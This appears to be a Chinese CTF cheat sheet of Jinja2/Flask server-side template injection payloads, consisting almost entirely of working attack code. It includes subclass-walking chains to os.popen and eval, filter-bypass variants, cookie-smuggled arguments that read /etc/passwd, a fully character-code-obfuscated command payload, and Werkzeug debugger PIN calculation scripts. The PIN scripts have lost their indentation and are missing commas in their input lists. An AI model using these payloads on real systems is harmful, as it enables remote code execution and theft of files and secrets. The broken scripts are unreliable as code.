SSTI

1
得到shell后,如果没有找到flag,可以看看env也就是popen(env)
1
2
开头"".__class__.__base__.__subclasses__()末尾
开头''.__class__.__bases__[0].__subclasses__()末尾

在已知过滤的情况下,进行绕过构成

1
2
开头()['__cla''ss__'].__bases__[0]['__subcl''asses__']()末尾
['__in''it__'].__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")末尾

(如果要使用脚本搜索,必须要自带编译)例:

1
%7B%7B%22%22.__class__.__base__.__subclasses__()%7D%7D

找到以下字段
os._wrap_close
warnings.catch_warnings

在使用脚本前,先试运行一次,查看爆出字段的内容,根据情况修改脚本鉴定内容。

找到
1.os._wrap_close (存在popen,但也可以构造eval)
2.warnings.catch_warnings (可能不存在popen,需要自己构造eval)
后,在其后加

1
2
3
4
5
6
7
.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")末尾  (如果用到base64绕过,那串字符不需要加双引号例如echo Y2F0IC9mbGFn |base64 -d|sh)
添加了"一些"过滤后(class,getattr,builtins,import,os)
.__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")末尾
还有
.__init__.__globals__['popen']('echo "Y2F0IC9mbGFn"|base64 -d|sh').read()末尾(得到第一个时能用到)
还有
.__init__.__globals__['popen'](request.args.get("参数")).read()末尾ge?参数=cat /flag

利用config

1
{{config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

lipsum.__globals__含有os模块

1
{{cycler.__init__.__globals__.os.popen('ls /').read()}}

利用__builtins__

1
{{url_for.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")}}

对于过滤比较强的ssti

可以考虑使用cookie传参

1
2
3
4
5
{{()[request.cookies.c][request.cookies.d][0][request.cookies.e]()[59][request.cookies.f][request.cookies.g][request.cookies.h][request.cookies.i](request.cookies.j).read()}}

cookie:
c=__class__;d=__bases__;e=__subclasses__;f=__init__;g=__globals__;h=__builtins__;i=open;j=/etc/passwd
或者;i=eval;j=__import__('os').popen('ls')

说人话就是这条命令

1
{{''.__class__.__bases__[0].__subclasses__()[185].__init__.__globals__.__builtins__.open("/flag").read()}}

SSTI通杀

1
{%print(((lipsum|attr(('%c'*11)%(95,95,103,108,111,98,97,108,115,95,95))|attr(('%c'*11)%(95,95,103,101,116,105,116,101,109,95,95))(('%c'*12)%(95,95,98,117,105,108,116,105,110,115,95,95))|attr(('%c'*11)%(95,95,103,101,116,105,116,101,109,95,95))(('%c'*4)%(101,118,97,108))))(('%c'*42)%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,102,108,97,103,39,41,46,114,101,97,100,40,41)))%}

计算pin值

如果在做题过程中遇到可读文件的ssti漏洞,则可以计算pin值

如果python版本在3.6以及以下则可以使用md5的计算脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# MD5
import hashlib
from itertools import chain

probably_public_bits = [
'flaskweb' # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'25214234362297', # str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' # get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

如果pyhton版本在3.8则需要使用sha1的计算脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# sha1
import hashlib
from itertools import chain

probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'2485377597870', # /sys/class/net/eth0/address 16进制转10进制
# machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'225374fa-04bc-4346-9f39-48fa82829ca900372e99d08b532fc64f056a1b0499b0f3193e7f94190a59b66efbaa5654227f'
# /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)